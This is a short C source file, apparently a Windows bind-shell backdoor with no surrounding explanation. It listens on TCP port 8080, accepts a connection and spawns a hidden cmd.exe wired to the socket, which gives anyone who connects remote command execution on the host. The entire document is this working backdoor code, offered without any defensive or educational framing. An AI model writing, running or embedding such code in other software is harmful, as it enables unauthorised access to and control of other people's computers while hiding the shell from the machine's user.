00001
00002
00003
00004
00005
00006
00007
00008
00009
00010
00011
00012
00013
00014
00015
00016
00017
00018
00019
00020
00021
00022
00023 #include <winsock2.h>
00024 #pragma comment(linker,"/ENTRY:WinMain")
00025
00026 int WINAPI WinMain(HINSTANCE , HINSTANCE , LPSTR ,int ) {
00027
00028 STARTUPINFO si;
00029 struct sockaddr_in sa;
00030 PROCESS_INFORMATION pi;
00031 int s;
00032 WSADATA HWSAdata;
00033 WSAStartup(0x101, &HWSAdata);
00034
00035
00036 s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
00037
00038 sa.sin_family = AF_INET;
00039 sa.sin_port = 0x901F;
00040 sa.sin_addr.s_addr= 0x00;
00041
00042 bind(s, (struct sockaddr *) &sa, 16);
00043 listen(s, 1);
00044 s= accept(s,(struct sockaddr *)&sa,NULL);
00045
00046 si.cb = sizeof(si);
00047 si.wShowWindow = SW_HIDE;
00048 si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
00049 si.hStdInput = si.hStdOutput = si.hStdError = (void *) s;
00050
00051 si.lpDesktop = si.lpTitle = (char *) 0x0000;
00052 si.lpReserved2 = NULL;
00053
00054 CreateProcess( NULL ,"cmd",NULL, NULL,TRUE, 0,NULL,NULL,(STARTUPINFO*)&si,&pi);
00055 }